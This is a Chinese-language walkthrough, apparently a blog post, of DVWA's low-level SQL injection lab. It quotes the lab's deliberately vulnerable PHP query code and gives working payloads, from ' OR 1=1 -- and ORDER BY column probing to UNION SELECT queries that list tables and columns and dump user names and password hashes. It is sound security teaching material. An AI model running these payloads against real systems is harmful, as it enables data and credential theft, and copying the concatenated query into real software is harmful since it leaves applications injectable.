今天帶來的是 SQL Injection 的 DVWA 實作
到 Low level 這裡你會先看到這樣的畫面
我們輸入 1 看看
我們發現他會顯示 id 為 1 的使用者
那如果我今天輸入的是 1'
呢?
可以發現 SQL 報錯了
所以我們可以假設原本的 SQL 語句中應該含有 '
,才會導致 SQL 報錯
於是我們猜測我們的 id 在連接 SQL 字串時是被單引號 '
包起來的
那我們可以把後面的文字註解掉,輸入 ' OR 1=1 --
我們就可以看到所有的First name跟 Surname了
我們可以來分析一下 source code
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
裡面可以看到我們輸入的 id 是被帶入到這條 SQL 裡面的
SELECT first_name, last_name FROM users WHERE user_id = '$id';
所以當我們輸入 ' OR 1=1 --
,SQL 會變成
SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1 -- ';
因為 1=1 永遠是 true,所以全部的First name跟 Surname才會都顯示出來
我們可以透過 ORDER BY
或 UNION SECECT
來判斷 users 這張資料表有多少欄位
ORDER BY
: 依照第幾個欄位進行排序
從 1 開始猜,報錯就是沒有那個欄位
因為已經確定有兩個欄位了,所以從 2 開始猜
輸入 1' ORDER BY 2--
輸入 1' ORDER BY 3--
發現報錯了,所以 users 只有兩個欄位
而知道只有兩個欄位,我們就可以透過 UNION 來做一些其他的事情了!
UNION
: 組合兩個查詢結果,結果的欄位數需要一樣
也可以透過
UNION
來猜有幾欄
' UNION SELECT 1,database() FROM information_schema.SCHEMATA--
' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa' --
' UNION SELECT 1,column_name from information_schema.columns WHERE table_schema='dvwa' AND table_name='users' --
' UNION SELECT 1,group_concat(user," ",password) from users --
用空格把資料分開,避免分不清
剩下的明天繼續